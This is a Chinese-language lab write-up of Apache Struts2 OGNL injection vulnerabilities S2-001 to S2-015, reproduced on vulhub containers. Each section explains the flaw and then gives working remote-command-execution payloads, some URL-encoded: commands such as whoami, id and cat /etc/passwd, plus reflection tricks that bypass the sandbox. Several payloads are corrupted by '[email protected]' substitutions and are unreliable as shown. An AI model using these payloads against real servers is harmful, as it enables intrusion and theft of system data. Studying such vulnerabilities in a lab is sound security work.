Apache Struts2 是一个基于 MVC 设计模式的 JavaWeb 应用框架,它的本质就相当于一个 servlet,在 MVC 设计模式中,Struts2 作为控制器(Controller)来建立模型与视图的数据交互。Struts2 是在 Struts 和WebWork 的技术的基础上进行合并的全新的框架。Struts2 以 WebWork 为核心,采用拦截器的机制来处理的请求。这样的设计使得业务逻辑控制器能够与 ServletAPI 完全脱离开。
该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用 %{value}
对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。
Struts 2.0.0 - 2.0.8
本次测试使用 vulhub 靶场搭建, 关于环境搭建可以看官网的手册:链接
vuluhub 靶场下载好后,首先进入本次的漏洞环境,并启动
.../vulhub/struts2/s2-001
docker-compose up -d //靶场的编译和运行
docker ps //查看docker环境是否启动成功
在密码处输入%{'123'}
,点击提交。
成功解析 OGNL 表达式,即存在漏洞。
1、获取 tomcat 路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
2、获取网站真实路径:
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
执行 whoami 命令:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
也可以执行其它命令,只需要将上面的代码中 whoami 替换:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
s2-005漏洞源于S2-003(受影响版本:低于Struts 2.0.12),struts2会将 http 的每个参数名解析为 OGNL 语句执行(可理解为java代码)。OGNL表达式通过#
来访问 Struts 的对象,Struts框架通过过滤#
字符防止安全问题,然而通过 unicode 编码(\u0023)或8进制(\43)就可以绕过安全限制。
对于S2-003漏洞,官方通过增加安全配置即沙盒机制(禁止静态方法allowStaticMethodAcces、MethodAccessor.denyMethodExecution调用和类方法执行等)来修补,但是攻击者可以利用OGNL表达式将 allowStaticMethodAccess设置为true,MethodAccessor.denyMethodExecution设置为false,就可以绕过这个沙盒机制导致S2-005漏洞。
S2-005漏洞是对S2-003漏洞补丁的绕过。
Struts 2.0.0 - Struts 2.1.8.1
同上。
执行任意命令 POC(无回显,空格用@代替):
?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
网上有些 POC 在 tomcat8 下会返回 400,查了一些文章知道字符 \
、"
不能直接放 path 里,需要 urlencode,编码以后再发送就好了。这个 POC会创建一个success文件,无回显。
抓包添加 payload,往/tmp/目录下写入success文件:
进入容器查看发现成功创建success文件。
工具下载地链接:https://pan.baidu.com/s/1GnubCDegksD0GYZcbAcfHg,提取码:1111
链接:https://pan.baidu.com/s/1a87zkitH5nzN9KVJWEhgSg,提取码:1111
S2-007漏洞一般出现在表单处,当配置了验证规则
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。
例如下面这个 UserAction-validation.xml 验证表单
DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1param>
<param name="max">150param>
field-validator>
field>
validators>
当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'"
然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。
Struts 2.0.0-2.2.3
同上。
打开测试页面:
在年龄age框中输入下面的非数字类型值,点击登陆,name和email随便输。
'+(1+1)+'
为什么payload的两端要加'+ +'
呢?
是为了闭合这里 "'" + value + "'"
两端的引号,放入的value值变成了''+(#xxxx)+''
的形式才可以成功解析。
在年龄age框输入要执行的任意代码的EXP,点击提交,页面会返回响应的执行结果。
执行任意命令EXP:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
可以把EXP中 exec('id')
里的 id 改为你想要执行的命令,如:exec('cat /etc/passwd')
Struts2 对 s2-003 的修复方法是禁止#
号,于是 s2-005 通过使用编码\u0023
或\43
来绕过;后来 Struts2 对 s2-005 的修复方法是禁止\
等特殊符号,使用户不能提交反斜线。
但是,如果当前 action 中接受了某个参数 example,这个参数将进入 OGNL 的上下文。所以,我们可以将 OGNL 表达式放在 example 参数中,然后使用 /helloword.acton?example=
的方法来执行它,从而绕过官方对#
、\
等特殊字符的防御。
Struts 2.1.0-2.3.1.1
同上。
测试页面:http://192.168.50.131:8080/shoucase.action
我们的目标是去找一个接受了参数,参数类型是 string 的 action。在源码中可以找到这个文件
WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java:
public class Example5Action extends ActionSupport {
private static final long serialVersionUID = 2111967621952300611L;
private String name;
private Integer age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }
@Override
public String execute() throws Exception {
return SUCCESS;
}
}
可以看到,其接受了 name 参数并调用 setName 将其赋值给私有属性 this.name,正是符合我们的要求。然后去 WEB-INF/src/java/struts-ajax.xml 看一下 URL 路由:
<package name="ajax" extends="struts-default">
...
<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
<result name="input">/ajax/tabbedpanel/example5.jsp</result>
<result>/ajax/tabbedpanel/example5Ok.jsp</result>
</action>
...
</package>
name=example5,所以访问 http://ip:8080/ajax/example5.action 即可访问该控制器。按照原理中说到的方法,将 OGNL 利用代码放在 name 参数里,即可利用该漏洞:
age=123&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#[email protected]@getRuntime().exec("[命令]").getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#[email protected]@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]
例:执行 /etc/passwd 命令:
漏洞触发原理与 S2-001 类似,对 %{}
表达式进行了循环解析。
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name}
作为重定向变量,例如:
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name}
获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
Struts 2.1.0 - 2.3.13
同上。
打开测试页面:
直接在文本框内执行payload读取passwd:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}。
Struts2 中使用链接标签
和
来渲染链接,使用 url 标签可以引入一个静态路径或 action ,使用 a 标签可以直接渲染一个 a 链接。
在这两个标签中,都包含一个属性 includeParams,有三个属性值:
当 includeParams=all 的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。
拿本漏洞环境举例,index.jsp中有:
<s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a>
在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
注:includeParams=get也可以触发该漏洞。
Struts 2.0.0 - 2.3.14
同上,测试页面:
POC:
?x=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
随便传一个参数
补充:
S2-014 是对于 S2-013 修复不完整的造成的漏洞,在 S2-013 修复的代码中,官方限制了%{(#exp)}
格式的OGNL执行,但是忽略了 ${exp}
OGNL 表达式执行的方式,因此导致了S2-014的产生。
POC:
?x=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
经过测试发现也没有对 %{(exp)}
这种进行阻拦。
S2-015 官方公告公布了两种漏洞利用方式,一种是通配符匹配 action ,一种是在 struts.xml 中使用 ${}
引用 Action 变量导致的二次解析。
第一种:在使用 struts2 时,每一个action 都需要配置, action 里面的方法以及其返回到的界面都需要配置,如果一个一个配置,就太麻烦了,因此可以约定一些命名规范,然后在 struts.xml 里面使用通配符进行配置。
在 Struts2 中可以使用通配符 *
来匹配 action,并使用 {1}
来获取 *
的值,这有点像正则的匹配模式,如下配置:
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。漏洞原理跟S2-012类似,S2-012利用的重定向类型,S2-015利用的 Action 的名称。复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \
都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。
需要注意,在 Struts 2.3.14.2 中,官方将 SecurityMemberAccess 类中成员变量 allowStaticMethodAccess 添加了 final 修饰符,并且将其 set 方法进行了删除。这就导致了我们不能通过 #_memberAccess["allowStaticMethodAccess"]=true
来改变其值,因为没有 set 方法了。但是至少有两种思路进行绕过:
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),
new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a","Calculator.app"}).start()
因此最终 payload 为:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
URL编码后为:
%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%2C%23q%7D
此处使用 %
或 $
均可。
第二种:
<result type="httpheader">
<param name="errorMessage">${message}</param>
</result>
这里配置了 ${message}
,其中 message 为 ParamAction 中的一个私有变量,这样配置会导致触发该 Result 时,Struts2 会从请求参数中获取 message 的值,并在解析过程中,触发了 OGNL 表达式执行。这里需要注意的是这里的二次解析是因为在 struts.xml 中使用 ${param}
引用了 Action 中的变量所导致的,并不针对于 type=“httpheader” 这种返回方式。
直接提交 %{1+1}
或 ${1+1}
作为其变量值提交就会得到执行。
Struts 2.0.0 - 2.3.14.2